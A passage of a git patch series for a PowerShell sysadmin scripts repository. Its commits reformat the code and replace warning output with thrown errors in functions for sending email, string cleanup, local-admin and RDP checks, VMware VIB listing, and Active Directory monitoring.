$SenderAddress + + # Sender Displayname parameter + IF ($PSBoundParameters['SenderDisplayName']) { + $SMTPMessage.Sender.DisplayName = $SenderDisplayName + } + + # From Displayname parameter + IF ($PSBoundParameters['FromDisplayName']) { + $SMTPMessage.From.DisplayName = $FromDisplayName + } + + # CC Parameter + IF ($PSBoundParameters['CC']) { + $SMTPMessage.CC.Add($CC) + } + + # BCC Parameter + IF ($PSBoundParameters['BCC']) { + $SMTPMessage.BCC.Add($BCC) + } + + # ReplyToList Parameter + IF ($PSBoundParameters['ReplyToList']) { + foreach ($ReplyTo in $ReplyToList) { + $SMTPMessage.ReplyToList.Add($ReplyTo) + } + } + + # Attachement Parameter + IF ($PSBoundParameters['attachment']) { + $SMTPattachment = New-Object -TypeName System.Net.Mail.Attachment($attachment) + $SMTPMessage.Attachments.Add($STMPattachment) + } + + # Delivery Options + IF ($PSBoundParameters['DeliveryNotificationOptions']) { + $SMTPMessage.DeliveryNotificationOptions = $DeliveryNotificationOptions + } + + #Create SMTP Client Object + $SMTPClient = New-Object -TypeName Net.Mail.SmtpClient + $SMTPClient.Host = $SmtpServer + $SMTPClient.Port = $Port + + # SSL Parameter + IF ($PSBoundParameters['EnableSSL']) { + $SMTPClient.EnableSsl = $true + } + + # Credential Paramenter + #IF (($PSBoundParameters['Username']) -and ($PSBoundParameters['Password'])) + IF ($PSBoundParameters['Credential']) { + <# + # Create Credential Object + $Credentials = New-Object -TypeName System.Net.NetworkCredential + $Credentials.UserName = $username.Split("@")[0] + $Credentials.Password = $Password + #> + + # Add the credentials object to the SMTPClient obj + $SMTPClient.Credentials = $Credential + } + IF (-not $PSBoundParameters['Credential']) { + # Use the current logged user credential + $SMTPClient.UseDefaultCredentials = $true + } + + # Send the Email + $SMTPClient.Send($SMTPMessage) + + }#TRY + CATCH { + Write-Warning -message "[PROCESS] Something wrong happened" + Write-Warning -Message $Error[0].Exception.Message + } + }#Process + END { + # Remove Variables + Remove-Variable -Name SMTPClient -ErrorAction SilentlyContinue + Remove-Variable -Name Password -ErrorAction SilentlyContinue + }#END } #End Function Send-Email \ No newline at end of file From b5a8689b2484750999cbf7d480e825fd4db29238 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 18:17:56 -0800 Subject: [PATCH 213/561] Add error handling --- .../Remove-StringSpecialCharacter.ps1 | 36 ++++++++++--------- 1 file changed, 20 insertions(+), 16 deletions(-) diff --git a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 index a6367ad7..f1053e9d 100644 --- a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 +++ b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 @@ -50,25 +50,29 @@ function Remove-StringSpecialCharacter [String[]]$SpecialCharacterToKeep ) PROCESS { - IF ($PSBoundParameters["SpecialCharacterToKeep"]) { - $Regex = "[^\p{L}\p{Nd}" - Foreach ($Character in $SpecialCharacterToKeep) { - IF ($Character -eq "-") { - $Regex += "-" + try{ + IF ($PSBoundParameters["SpecialCharacterToKeep"]) { + $Regex = "[^\p{L}\p{Nd}" + Foreach ($Character in $SpecialCharacterToKeep) { + IF ($Character -eq "-") { + $Regex += "-" + } + else { + $Regex += [Regex]::Escape($Character) + } + #$Regex += "/$character" } - else { - $Regex += [Regex]::Escape($Character) - } - #$Regex += "/$character" - } - $Regex += "]+" - } #IF($PSBoundParameters["SpecialCharacterToKeep"]) - ELSE { $Regex = "[^\p{L}\p{Nd}]+" } + $Regex += "]+" + } #IF($PSBoundParameters["SpecialCharacterToKeep"]) + ELSE { $Regex = "[^\p{L}\p{Nd}]+" } - FOREACH ($Str in $string) { - Write-Verbose -Message "Original String: $Str" - $Str -replace $regex, "" + FOREACH ($Str in $string) { + Write-Verbose -Message "Original String: $Str" + $Str -replace $regex, "" + } + }catch{ + $PSCmdlet.ThrowTerminatingError($_) } } #PROCESS } From a42149dbea2b2bc513157aa5987bee9c56582df4 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 18:18:13 -0800 Subject: [PATCH 214/561] Reformat script --- .../Remove-StringSpecialCharacter.ps1 | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 index f1053e9d..cba1ab58 100644 --- a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 +++ b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 @@ -1,6 +1,5 @@ -function Remove-StringSpecialCharacter -{ -<# +function Remove-StringSpecialCharacter { + <# .SYNOPSIS This function will remove the special character from a string. @@ -50,7 +49,7 @@ function Remove-StringSpecialCharacter [String[]]$SpecialCharacterToKeep ) PROCESS { - try{ + try { IF ($PSBoundParameters["SpecialCharacterToKeep"]) { $Regex = "[^\p{L}\p{Nd}" Foreach ($Character in $SpecialCharacterToKeep) { @@ -71,7 +70,8 @@ function Remove-StringSpecialCharacter Write-Verbose -Message "Original String: $Str" $Str -replace $regex, "" } - }catch{ + } + catch { $PSCmdlet.ThrowTerminatingError($_) } } #PROCESS From eaded943746e25cd7fb9f83ae12d743b270aff14 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 18:18:25 -0800 Subject: [PATCH 215/561] Update Error handling --- TOOL-Send-Email/TOOL-Send-Email.ps1 | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/TOOL-Send-Email/TOOL-Send-Email.ps1 b/TOOL-Send-Email/TOOL-Send-Email.ps1 index c9e6638d..94fbfbeb 100644 --- a/TOOL-Send-Email/TOOL-Send-Email.ps1 +++ b/TOOL-Send-Email/TOOL-Send-Email.ps1 @@ -302,8 +302,7 @@ }#TRY CATCH { - Write-Warning -message "[PROCESS] Something wrong happened" - Write-Warning -Message $Error[0].Exception.Message + $PSCmdlet.ThrowTerminatingError($_) } }#Process END { From f3fbc869db400004c9b21b9d941065b26a09e444 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 18:19:05 -0800 Subject: [PATCH 216/561] Reformat script --- .../Remove-StringLatinCharacter.ps1 | 21 +++++++------------ 1 file changed, 8 insertions(+), 13 deletions(-) diff --git a/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 index 78a1de8c..93004c63 100644 --- a/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 +++ b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 @@ -1,6 +1,5 @@ -function Remove-StringLatinCharacter -{ -<# +function Remove-StringLatinCharacter { + <# .SYNOPSIS Function to remove diacritics from a string .DESCRIPTION @@ -43,21 +42,17 @@ #> [CmdletBinding()] PARAM ( - [Parameter(ValueFromPipeline=$true)] + [Parameter(ValueFromPipeline = $true)] [System.String[]]$String - ) - PROCESS - { - FOREACH ($StringValue in $String) - { + ) + PROCESS { + FOREACH ($StringValue in $String) { Write-Verbose -Message "$StringValue" - TRY - { + TRY { [Text.Encoding]::ASCII.GetString([Text.Encoding]::GetEncoding("Cyrillic").GetBytes($StringValue)) } - CATCH - { + CATCH { Write-Error -Message $Error[0].exception.message } } From 3561dee77b2660803cb3414f9dbb70db3a542865 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 18:19:33 -0800 Subject: [PATCH 217/561] Update error handling --- .../Remove-StringLatinCharacter.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 index 93004c63..6255f835 100644 --- a/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 +++ b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 @@ -53,7 +53,7 @@ [Text.Encoding]::ASCII.GetString([Text.Encoding]::GetEncoding("Cyrillic").GetBytes($StringValue)) } CATCH { - Write-Error -Message $Error[0].exception.message + $PSCmdlet.ThrowTerminatingError($_) } } } From 82ae9d6035d6a1cfa551b04a0ed5a6332ff0ec8f Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 18:20:24 -0800 Subject: [PATCH 218/561] Replace tabs --- .../Test-IsLocalAdministrator.ps1 | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 b/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 index 83dd8b33..5436da15 100644 --- a/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 +++ b/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 @@ -2,18 +2,18 @@ { <# .SYNOPSIS - Function to verify if the current user is a local Administrator on the current system + Function to verify if the current user is a local Administrator on the current system .DESCRIPTION - Function to verify if the current user is a local Administrator on the current system + Function to verify if the current user is a local Administrator on the current system .EXAMPLE - Test-IsLocalAdministrator + Test-IsLocalAdministrator - True + True .NOTES - Francois-Xavier Cat - @lazywinadmin - lazywinadmin.com - github.com/lazywinadmin + Francois-Xavier Cat + @lazywinadmin + lazywinadmin.com + github.com/lazywinadmin #> - ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") + ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") } \ No newline at end of file From bfa9433d62252446856a3c02c1e72c2acdb8b092 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 18:20:52 -0800 Subject: [PATCH 219/561] reformat code --- TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 b/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 index 5436da15..248bea83 100644 --- a/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 +++ b/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 @@ -1,5 +1,4 @@ -function Test-IsLocalAdministrator -{ +function Test-IsLocalAdministrator { <# .SYNOPSIS Function to verify if the current user is a local Administrator on the current system From 68f6d0d26e74e0cad1bf1aadef04083911fee55e Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 18:21:59 -0800 Subject: [PATCH 220/561] Add error handling --- .../Test-IsLocalAdministrator.ps1 | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 b/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 index 248bea83..4a980895 100644 --- a/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 +++ b/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 @@ -1,5 +1,5 @@ function Test-IsLocalAdministrator { -<# + <# .SYNOPSIS Function to verify if the current user is a local Administrator on the current system .DESCRIPTION @@ -14,5 +14,12 @@ lazywinadmin.com github.com/lazywinadmin #> - ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") + [CmdletBinding()] + PARAM() + try { + ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") + } + catch { + $PSCmdlet.ThrowTerminatingError($_) + } } \ No newline at end of file From 69a167c7343f377d4bd1d96fb01f2285d0002764 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 18:22:44 -0800 Subject: [PATCH 221/561] reformat script --- .../Test-RemoteDesktopIsEnabled.ps1 | 49 +++++++++---------- 1 file changed, 23 insertions(+), 26 deletions(-) diff --git a/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 b/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 index 82103807..1d1b20a8 100644 --- a/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 +++ b/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 @@ -1,6 +1,5 @@ -function Test-RemoteDesktopIsEnabled -{ -<# +function Test-RemoteDesktopIsEnabled { + <# .SYNOPSIS Function to check if RDP is enabled @@ -25,29 +24,27 @@ #> -PARAM( - [String[]]$ComputerName = $env:COMPUTERNAME - ) - FOREACH ($Computer in $ComputerName) - { - TRY{ - IF (Test-Connection -Computer $Computer -count 1 -quiet) - { - $Splatting = @{ - ComputerName = $Computer - NameSpace = "root\cimv2\TerminalServices" + PARAM( + [String[]]$ComputerName = $env:COMPUTERNAME + ) + FOREACH ($Computer in $ComputerName) { + TRY { + IF (Test-Connection -Computer $Computer -count 1 -quiet) { + $Splatting = @{ + ComputerName = $Computer + NameSpace = "root\cimv2\TerminalServices" + } + # Enable Remote Desktop + [boolean](Get-WmiObject -Class Win32_TerminalServiceSetting @Splatting).AllowTsConnections + + # Disable requirement that user must be authenticated + #(Get-WmiObject -Class Win32_TSGeneralSetting @Splatting -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0) | Out-Null + } } - # Enable Remote Desktop - [boolean](Get-WmiObject -Class Win32_TerminalServiceSetting @Splatting).AllowTsConnections - - # Disable requirement that user must be authenticated - #(Get-WmiObject -Class Win32_TSGeneralSetting @Splatting -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0) | Out-Null - } - } - CATCH{ - Write-Warning -Message "Something wrong happened" - Write-Warning -MEssage $Error[0].Exception.Message - } - }#FOREACH + CATCH { + Write-Warning -Message "Something wrong happened" + Write-Warning -MEssage $Error[0].Exception.Message + } + }#FOREACH }#Function \ No newline at end of file From 57a33aa29f12ac71ad51c16ee12f1aeb625a0277 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 18:23:09 -0800 Subject: [PATCH 222/561] Update error handling --- .../Test-RemoteDesktopIsEnabled.ps1 | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 b/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 index 1d1b20a8..09c0a269 100644 --- a/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 +++ b/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 @@ -42,8 +42,7 @@ } } CATCH { - Write-Warning -Message "Something wrong happened" - Write-Warning -MEssage $Error[0].Exception.Message + $PSCmdlet.ThrowTerminatingError($_) } }#FOREACH From ff369a45b0442ac765bb84f2feab64ab9fe0d84f Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 18:24:15 -0800 Subject: [PATCH 223/561] Update error handling --- VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 b/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 index 4f9f7877..42681657 100644 --- a/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 +++ b/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 @@ -87,8 +87,7 @@ PROCESS { }#FOREACH }#TRY CATCH { - Write-Warning -Message "Something wrong happened with $($CurrentVMhost.name)" - Write-Warning -Message $Error[0].Exception.Message + Throw $_ } } } From cf978d340b54fd005f5f43257c7e0de548393e03 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 18:25:31 -0800 Subject: [PATCH 224/561] Update error handling, add missing parameters --- VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 b/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 index 42681657..86302a18 100644 --- a/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 +++ b/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 @@ -83,7 +83,7 @@ PROCESS { }#$Prop # Output Current Object - New-Object PSobject -Property $Prop + New-Object -TypeName PSobject -Property $Prop }#FOREACH }#TRY CATCH { @@ -114,11 +114,11 @@ PROCESS { }#$Prop # Output Current Object - New-Object PSobject -Property $Prop + New-Object -TypeName PSobject -Property $Prop }#FOREACH }#TRY CATCH { - $PSCmdlet.ThrowTerminatingError($_) + Throw $_ } } } @@ -145,11 +145,11 @@ PROCESS { }#$Prop # Output Current Object - New-Object PSobject -Property $Prop + New-Object -TypeName PSobject -Property $Prop }#FOREACH }#TRY CATCH { - $PSCmdlet.ThrowTerminatingError($_) + Throw $_ } } } From 8e1436632588c4b782dfd44cc0e644fa084d557e Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 18:26:06 -0800 Subject: [PATCH 225/561] Reformat script --- TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) diff --git a/TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 b/TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 index 88769731..d11a6dfc 100644 --- a/TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 +++ b/TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 @@ -1,6 +1,5 @@ -function Get-StringLastDigit -{ -<# +function Get-StringLastDigit { + <# .SYNOPSIS Get the last digit of a string .DESCRIPTION @@ -25,13 +24,12 @@ @lazywinadmin lazywinadmin.com #> -[CmdletBinding()] -PARAM($String) + [CmdletBinding()] + PARAM($String) #Check if finish by Digit - if ($String -match "^.*\d$") - { + if ($String -match "^.*\d$") { # Output the last digit - $String.Substring(($String.ToCharArray().count)-1) + $String.Substring(($String.ToCharArray().count) - 1) } - else {Write-Verbose -Message "The following string does not finish by a digit: $String"} + else { Write-Verbose -Message "The following string does not finish by a digit: $String" } } \ No newline at end of file From 0140e07dba33e975463eb87ed9282ce95dfdb0d1 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 18:26:51 -0800 Subject: [PATCH 226/561] Add error handling --- TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 b/TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 index d11a6dfc..cbc56efa 100644 --- a/TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 +++ b/TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 @@ -26,10 +26,13 @@ #> [CmdletBinding()] PARAM($String) - #Check if finish by Digit - if ($String -match "^.*\d$") { - # Output the last digit - $String.Substring(($String.ToCharArray().count) - 1) + try { + #Check if finish by Digit + if ($String -match "^.*\d$") { + # Output the last digit + $String.Substring(($String.ToCharArray().count) - 1) + } + else { Write-Verbose -Message "The following string does not finish by a digit: $String" } } - else { Write-Verbose -Message "The following string does not finish by a digit: $String" } + catch { $PSCmdlet.ThrowTerminatingError($_) } } \ No newline at end of file From cde2e6ad6107b5fdbcd75ad07824c7b8c3052a9c Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 18:27:41 -0800 Subject: [PATCH 227/561] Update format, Add error handling --- TOOL-Get-HelpMessage/Get-HelpMessage.ps1 | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/TOOL-Get-HelpMessage/Get-HelpMessage.ps1 b/TOOL-Get-HelpMessage/Get-HelpMessage.ps1 index 479f6d47..a12237d4 100644 --- a/TOOL-Get-HelpMessage/Get-HelpMessage.ps1 +++ b/TOOL-Get-HelpMessage/Get-HelpMessage.ps1 @@ -1,5 +1,4 @@ -function Get-HelpMessage -{ +function Get-HelpMessage { <# .SYNOPSIS Function to explain why an error occurred and provides problem-solving information. @@ -37,5 +36,10 @@ function Get-HelpMessage [CmdletBinding()] [Alias('HelpMsg')] PARAM($Id) - [ComponentModel.Win32Exception] $id + try { + [ComponentModel.Win32Exception] $id + } + catch { + $PSCmdlet.ThrowTerminatingError($_) + } } \ No newline at end of file From 5b754854bde0738a685c0254f751f56db1999bca Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 13:52:18 -0800 Subject: [PATCH 228/561] Remove Todo, Add Readme --- AD-GROUP-Monitor_MemberShip/README.md | 3 +++ AD-GROUP-Monitor_MemberShip/todo.md | 12 ------------ 2 files changed, 3 insertions(+), 12 deletions(-) create mode 100644 AD-GROUP-Monitor_MemberShip/README.md delete mode 100644 AD-GROUP-Monitor_MemberShip/todo.md diff --git a/AD-GROUP-Monitor_MemberShip/README.md b/AD-GROUP-Monitor_MemberShip/README.md new file mode 100644 index 00000000..cbc2b0bb --- /dev/null +++ b/AD-GROUP-Monitor_MemberShip/README.md @@ -0,0 +1,3 @@ +# AD-Monitor Group membership + +This script has been moved to its own repository \ No newline at end of file diff --git a/AD-GROUP-Monitor_MemberShip/todo.md b/AD-GROUP-Monitor_MemberShip/todo.md deleted file mode 100644 index b3628daa..00000000 --- a/AD-GROUP-Monitor_MemberShip/todo.md +++ /dev/null @@ -1,12 +0,0 @@ -TO CHECK: -- [ ] Jay's Comment: Can't see the displayName property - -TO ADD: - -- [ ] Add ADSI Support -- [ ] Add ActiveDirectory Module support -- [ ] Add a count of total number of group members to the script report (requested by Donna Riggins (email)) -- [ ] Add Who modified the script (see email from Lee Rice) -- [ ] Add Event Subscription - - From fef5438c326701af30c31c29f4fecb70b7bb7188 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 13:52:34 -0800 Subject: [PATCH 229/561] Replace $error by throw --- .../AD-GROUP-Monitor_MemberShip.ps1 | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 b/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 index 6fb932ad..34b6a72a 100644 --- a/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 +++ b/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 @@ -341,7 +341,7 @@ BEGIN { #Show last error #Write-Warning -Message $_.Exception.Message - Write-Warning -Message $Error[0] + Throw $_ # Quest AD Cmdlets Errors if ($ErrorBEGINGetQuestAD) { Write-Warning -Message "[BEGIN] Can't Find the Quest Active Directory Snappin" } @@ -728,7 +728,7 @@ PROCESS { CATCH { Write-Warning -Message "[PROCESS] Something went wrong" #Write-Warning -Message $_.Exception.Message - Write-Warning -Message $Error[0] + Throw $_ #Quest Snappin Errors if ($ErrorProcessGetQADGroup) { Write-warning -Message "[PROCESS] QUEST AD - Error When querying the group $item in Active Directory" } @@ -743,14 +743,13 @@ PROCESS { if ($ErrorProcessCompareObject) { Write-warning -Message "[PROCESS] Error when comparing" } if ($ErrorProcessImportCSVChangeHistory) { Write-warning -Message "[PROCESS] Error Importing $file" } - Write-Warning -Message $error[0].exception.Message + throw $_ }#CATCH }#FOREACH }#TRY CATCH { Write-Warning -Message "[PROCESS] Something wrong happened" - #Write-Warning -Message $error[0].exception.message - Write-Warning -Message $error[0] + Throw $_ } }#PROCESS From f242db8a3577e5799cd82acfb8f35a374e5b47fa Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 13:54:15 -0800 Subject: [PATCH 230/561] Replace $error[*] by throw --- .../AD-Find_missing_subnets_in_ActiveDirectory.ps1 | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/AD-SITE-Find_Missing_Subnets/AD-Find_missing_subnets_in_ActiveDirectory.ps1 b/AD-SITE-Find_Missing_Subnets/AD-Find_missing_subnets_in_ActiveDirectory.ps1 index bb839d54..4852b755 100644 --- a/AD-SITE-Find_Missing_Subnets/AD-Find_missing_subnets_in_ActiveDirectory.ps1 +++ b/AD-SITE-Find_Missing_Subnets/AD-Find_missing_subnets_in_ActiveDirectory.ps1 @@ -199,8 +199,7 @@ table.gridtable td { }#TRY CATCH { - Write-Warning -Message "BEGIN BLOCK - Something went wrong" - Write-Warning -Message $Error[0].Exception.Message + Throw $_ }#CATCH }#BEGIN @@ -354,8 +353,7 @@ PROCESS }#TRY CATCH { - Write-Warning -Message "[PROCESS] Something wrong happened" - Write-Warning -Message $Error[0].Exception.Message + Throw $_ }#CATCH FINALLY { From f63caadd786402bec5541c567574c6fb8b1b5acb Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 13:54:59 -0800 Subject: [PATCH 231/561] Add PSCredential type --- AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 | 1 + 1 file changed, 1 insertion(+) diff --git a/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 b/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 index f8a1d32e..df613e2b 100644 --- a/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 +++ b/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 @@ -30,6 +30,7 @@ Function Get-AccountLockedOut [ValidateNotNullorEmpty()] [string]$UserName = '*', [datetime]$StartTime = (Get-Date).AddDays(-1), + [PSCredential] $Credential = [System.Management.Automation.PSCredential]::Empty ) BEGIN From de1d2279b37e26696c83f3d79dc8994a74001f16 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 13:55:21 -0800 Subject: [PATCH 232/561] Format script --- .../AD-USER-Get-AccountLockedOut.ps1 | 50 +++++++------------ 1 file changed, 19 insertions(+), 31 deletions(-) diff --git a/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 b/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 index df613e2b..376436ee 100644 --- a/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 +++ b/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 @@ -1,7 +1,6 @@ -Function Get-AccountLockedOut -{ +Function Get-AccountLockedOut { -<# + <# .SYNOPSIS This function will find the device where the account get lockedout .DESCRIPTION @@ -33,18 +32,15 @@ Function Get-AccountLockedOut [PSCredential] $Credential = [System.Management.Automation.PSCredential]::Empty ) - BEGIN - { - TRY - { + BEGIN { + TRY { #Variables $TimeDifference = (Get-Date) - $StartTime Write-Verbose -Message "[BEGIN] Looking for PDC..." - function Get-PDCServer - { - <# + function Get-PDCServer { + <# .SYNOPSIS Retrieve the Domain Controller with the PDC Role in the domain #> @@ -53,47 +49,40 @@ Function Get-AccountLockedOut $Credential = [System.Management.Automation.PSCredential]::Empty ) - IF ($PSBoundParameters['Credential']) - { + IF ($PSBoundParameters['Credential']) { [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain( - (New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext -ArgumentList 'Domain', $Domain, $($Credential.UserName), $($Credential.GetNetworkCredential().password)) + (New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext -ArgumentList 'Domain', $Domain, $($Credential.UserName), $($Credential.GetNetworkCredential().password)) ).PdcRoleOwner.name }#Credentials - ELSE - { + ELSE { [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain( - (New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)) + (New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)) ).PdcRoleOwner.name } }#function Get-PDCServer Write-Verbose -Message "[BEGIN] PDC is $(Get-PDCServer)" }#TRY - CATCH - { + CATCH { Write-Warning -Message "[BEGIN] Something wrong happened" Write-Warning -Message $Error[0] } }#BEGIN - PROCESS - { - TRY - { + PROCESS { + TRY { # Define the parameters $Splatting = @{ } # Add the credential to the splatting if specified - IF ($PSBoundParameters['Credential']) - { + IF ($PSBoundParameters['Credential']) { Write-Verbose -Message "[PROCESS] Credential Specified" $Splatting.Credential = $Credential $Splatting.ComputerName = $(Get-PDCServer -Domain $DomainName -Credential $Credential) } - ELSE - { - $Splatting.ComputerName =$(Get-PDCServer -Domain $DomainName) + ELSE { + $Splatting.ComputerName = $(Get-PDCServer -Domain $DomainName) } # Query the PDC @@ -104,12 +93,11 @@ Function Get-AccountLockedOut Get-WinEvent -FilterHashtable @{ LogName = 'Security'; Id = 4740; StartTime = $Using:StartTime } | Where-Object { 